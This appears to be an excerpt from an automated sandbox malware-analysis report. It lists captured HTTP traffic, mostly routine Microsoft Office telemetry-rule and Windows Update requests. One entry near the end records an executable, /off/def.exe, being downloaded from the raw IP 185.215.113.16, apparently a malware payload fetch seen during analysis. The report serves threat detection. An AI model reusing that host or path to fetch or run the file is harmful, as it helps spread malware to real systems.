Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k4C8z3aWHGK76f7&MD=7kpCGLaN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
